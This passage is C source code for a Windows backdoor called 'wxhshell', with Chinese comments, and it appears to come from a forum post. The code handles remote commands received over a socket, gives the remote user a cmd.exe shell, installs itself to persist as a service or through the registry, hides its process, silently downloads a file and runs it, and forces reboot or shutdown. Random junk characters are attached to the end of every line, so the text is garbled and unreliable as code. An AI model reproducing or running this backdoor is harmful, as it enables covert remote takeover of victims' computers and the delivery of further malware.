    switch(cmd[0]) { `1DU b7<  
  c|8KT  
  // 帮助 P1vF{e  
  case '?': { k B$lkl\C  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); WllCcD1  
    break; Zm?G'06  
  } JT}dor  
  // 安装 OqUE4. vIP  
  case 'i': { GhaAvyN  
    if(Install()) j>0SE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m|g$'vjk  
    else % DHP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $Ykp8u,(  
    break; 4p0IBfVG  
    } xX[{E x   
  // 卸载 +K @J*W 1  
  case 'r': { E}E7VQjM  
    if(Uninstall()) !dYX2!lvT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p2M?pV  
    else ?3e!A9x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \Mh4X`<e  
    break; _,Io(QS  
    } gb^UFD L  
  // 显示 wxhshell 所在路径 70I4-[/z[d  
  case 'p': { A_8`YN"Xk  
    char svExeFile[MAX_PATH]; `RL(N4H  
    strcpy(svExeFile,"\n\r"); `-E.n'+  
      strcat(svExeFile,ExeFile); _j|n}7a  
        send(wsh,svExeFile,strlen(svExeFile),0); GNj/jU<o!  
    break; 'ocwXyP,  
    } ,L8I7O}A;  
  // 重启 cftn`:(&8  
  case 'b': { !~VR|n-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mDe+ M {/  
    if(Boot(REBOOT)) -+Awm{X_@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j/; @P  
    else { pU\xzLD  
    closesocket(wsh); zS>:7eG  
    ExitThread(0); xw/h~:NT  
    } UOOR0$4  
    break; +5seT}h  
    } MWp\D#H  
  // 关机 *U5> j#,  
  case 'd': { p3'mJ3MA  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *]DJAF]  
    if(Boot(SHUTDOWN)) XJV3oj   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2Q;Y@%G  
    else { ~]D \&D9=?  
    closesocket(wsh); #RZJ1uL  
    ExitThread(0); Vtc)/OH  
    } eo}S01bt  
    break; Q?I"J$]&L  
    } ADJ5ZD<Q  
  // 获取shell dk, I?c &  
  case 's': { :9O0?6:B|  
    CmdShell(wsh);  Cq~ah  
    closesocket(wsh); =QO1FO  
    ExitThread(0); 2*UE&Gp  
    break; fQ?n(  
  } 8u~\]1 (  
  // 退出 IU;pkgBj0Y  
  case 'x': { vY TPZ@RL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t=@Jw  
    CloseIt(wsh); J.+?*hcw  
    break; |4 d{X@`&  
    } Ozh^Q$>u  
  // 离开 |rms[1<_  
  case 'q': { #uDBF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); D;T r  
    closesocket(wsh); FZ'>LZ  
    WSACleanup(); PY3Vu]zD  
    exit(1); \c@qtIc  
    break; cq+M *1;  
        } |SXMu_w  
  } [laL6  
  } WRU@i;l  
MjF.>4  
  // 提示信息 R4J>M@-0v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 86) 3XE[ 5  
} hZF&PV5H  
  } m@ 'I|!^  
U*Q5ff7M6"  
  return; @|*Z0bn'  
} e7j]BzGvl  
L)//- k9  
// shell模块句柄 +#*z"a`  
int CmdShell(SOCKET sock) :J)l C =  
{ ch2e#Jf8  
STARTUPINFO si; DF&jZ[##  
ZeroMemory(&si,sizeof(si)); dXcMysRc%&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N<i Vs  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; VRN9yn2  
PROCESS_INFORMATION ProcessInfo; /dP8F  
char cmdline[]="cmd"; |LGNoP}SA  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zR/p}Wu|!  
  return 0; MZ+IorZl  
} '[ddE!ta  
t>=y7n&q  
// 自身启动模式 1V9X(uP  
int StartFromService(void) 2b&;Y/z  
{ F~- S3p  
typedef struct Zp(P)Obs#  
{ N55=&-p  
  DWORD ExitStatus; n N]vu  
  DWORD PebBaseAddress; !A<XqzV]  
  DWORD AffinityMask; NS/L! "g  
  DWORD BasePriority; nO7o7bc  
  ULONG UniqueProcessId; (P!reYyM  
  ULONG InheritedFromUniqueProcessId; {&j{V-}f  
}   PROCESS_BASIC_INFORMATION; igbb=@QBJ  
p<nBS" /  
PROCNTQSIP NtQueryInformationProcess; .j4ziRa-  
]j#$.$q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 71 m-W#zyA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !Z2n;.w  
V6!73 iY  
  HANDLE             hProcess; "aO,  
  PROCESS_BASIC_INFORMATION pbi; KUqS(u  
)p_LkX(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^~IcQ!j/5  
  if(NULL == hInst ) return 0; E@}j}/%'O  
l8d%hQVqT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7G=P|T\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bb_jD^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); OcS`Fxs  
t>`LO  
  if (!NtQueryInformationProcess) return 0; g~sNY|%  
ImY*cW=M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); TF3q?0  
  if(!hProcess) return 0; }8]uZ)[p=  
.A[.?7g  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JfINAaboi  
4J$f @6  
  CloseHandle(hProcess); >-o:> 5  
cz~FWk  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7T;RXrT  
if(hProcess==NULL) return 0; n&78~@H  
ok _{8z\#  
HMODULE hMod; xR6IXF>*  
char procName[255]; MifgRUe  
unsigned long cbNeeded; C>;8`6_!gU  
RV*Zi\-X  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $I]x &cF  
9i)mv/i  
  CloseHandle(hProcess); !3v"7l{LF  
5BO!K$6  
if(strstr(procName,"services")) return 1; // 以服务启动 cMk%]qfVo8  
F"P:9`/  
  return 0; // 注册表启动 '\YhRU  
} $i] M6<Vxn  
G[-jZ  
// 主模块 f?^xh  
int StartWxhshell(LPSTR lpCmdLine) Xz@;`>8i  
{ #]HjP\C  
  SOCKET wsl; eQIi}\`  
BOOL val=TRUE; :DpK{$eCb  
  int port=0; qNVw+U;2P  
  struct sockaddr_in door; 5j 01Mx A  
|MrH@v7S  
  if(wscfg.ws_autoins) Install(); Ntrn("!  
kx(:Z8DX  
port=atoi(lpCmdLine); Sf:lN4  
+!Ag n)  
if(port<=0) port=wscfg.ws_port; ?6]ZQ\,  
|OT%,QT|  
  WSADATA data; ;mxT >|z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `IQC\DSl/  
:Lzj'Ij  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &.4a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qr;" K?NX  
  door.sin_family = AF_INET; 3AL=*qq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q>*K/%KD  
  door.sin_port = htons(port); gb#wrI  
LKY Q?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "G)?  E|  
closesocket(wsl); e(5R8ud  
return 1; Bq8<FZr#!  
} % 7:  
bxHk0w  
  if(listen(wsl,2) == INVALID_SOCKET) { xT>V ;aa\  
closesocket(wsl); %6:2cR  
return 1; 78#ud15Ml  
} eajL[W^>  
  Wxhshell(wsl); =#fvdj  
  WSACleanup(); tR/ JY;jn  
(_<n0  
return 0; /qze  
.}>[ Kr  
} >Cc$ P  
z<=t3dj  
// 以NT服务方式启动 #Og_q$})f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1S#bV} !  
{ 7si.]  
DWORD   status = 0; 4"=pcHNV  
  DWORD   specificError = 0xfffffff; I2Q?7p  
zwHsdB=v  
  serviceStatus.dwServiceType     = SERVICE_WIN32; g8y Zc}4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \MPy"uC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ob+c*@KiW  
  serviceStatus.dwWin32ExitCode     = 0; qm_E/B  
  serviceStatus.dwServiceSpecificExitCode = 0; gI{F"7fa=  
  serviceStatus.dwCheckPoint       = 0; `-2`UGB-  
  serviceStatus.dwWaitHint       = 0; zg"ZXZ  
5%/%i}e~(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2 ARh-zLb  
  if (hServiceStatusHandle==0) return; 3Mt6iZW  
4B(qVf&M  
status = GetLastError(); BpE[9N  
  if (status!=NO_ERROR) uBJF}"4ej  
{ M-t9zT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D1a2|^zt  
    serviceStatus.dwCheckPoint       = 0; eU*h qy?0  
    serviceStatus.dwWaitHint       = 0; h2K  
    serviceStatus.dwWin32ExitCode     = status; l6O(+*6Us  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~C+T|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #2iA-5  
    return; m0YDO 0  
  } sS|5x  
$^F2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y.OUn'^d4  
  serviceStatus.dwCheckPoint       = 0; S8t9Ms: k  
  serviceStatus.dwWaitHint       = 0; KDk^)zv%!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9m>_q Wa A  
} C ^'}{K  
3]A'C&  
// 处理NT服务事件,比如:启动、停止 KxI(# }5o&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \!Pm^FD .  
{ yR-.OF,c  
switch(fdwControl) I(|{/{P,  
{ (>'d`^kjk  
case SERVICE_CONTROL_STOP: 6zSN?0c  
  serviceStatus.dwWin32ExitCode = 0; .v'8G)6g  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; PeZ=ONY5  
  serviceStatus.dwCheckPoint   = 0; |H49 FL  
  serviceStatus.dwWaitHint     = 0; $TiAJ}:  
  { ,P]{*uqGiB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u)ItML  
  } 57rP@,vj  
  return; *{Vyt5  
case SERVICE_CONTROL_PAUSE: A,@"(3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /);6 j,x  
  break; x8t1g,QA  
case SERVICE_CONTROL_CONTINUE: ,;;~dfHm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &kGSxYDk%  
  break; (;0]V+-  
case SERVICE_CONTROL_INTERROGATE: -)/>qFj )  
  break; iZF{9@  
}; w@R-@ G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W%x#ps5%  
} ZO}*^  
5NK:94&JE  
// 标准应用程序主函数 [ q}WS5Cp  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7O j9~3o4  
{ z;)% i f6  
pw8'+FX  
// 获取操作系统版本 a?dM8zAnc  
OsIsNt=GetOsVer(); TM9>r :j'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); G1BVI:A&S  
dBkB9nz  
  // 从命令行安装 Z2r\aZ-d`  
  if(strpbrk(lpCmdLine,"iI")) Install(); `1dr$U  
[dUEe@P  
  // 下载执行文件 JT<J[Qz5  
if(wscfg.ws_downexe) { gxiJ`. D=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sz5@=  
  WinExec(wscfg.ws_filenam,SW_HIDE); ! JN@4  
} XT\;2etVL  
&yuerNK  
if(!OsIsNt) { ZsE8eD  
// 如果时win9x,隐藏进程并且设置为注册表启动 7u;B[qH  
HideProc(); #HML=qK~  
StartWxhshell(lpCmdLine); ;Ti?(n#M>  
} `|4{|X*U.  
else 6FfDif  
  if(StartFromService()) q~Ud>{  
  // 以服务方式启动 #gq3 e  
  StartServiceCtrlDispatcher(DispatchTable); tpS F[W  
else BFY~::<b  
  // 普通方式启动 R_csKj  
  StartWxhshell(lpCmdLine); 4)?c[aC4P  
'W)x<Iey1  
return 0; %rYt; 7B  
}
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只看该作者 1 发表于: 2006-10-10
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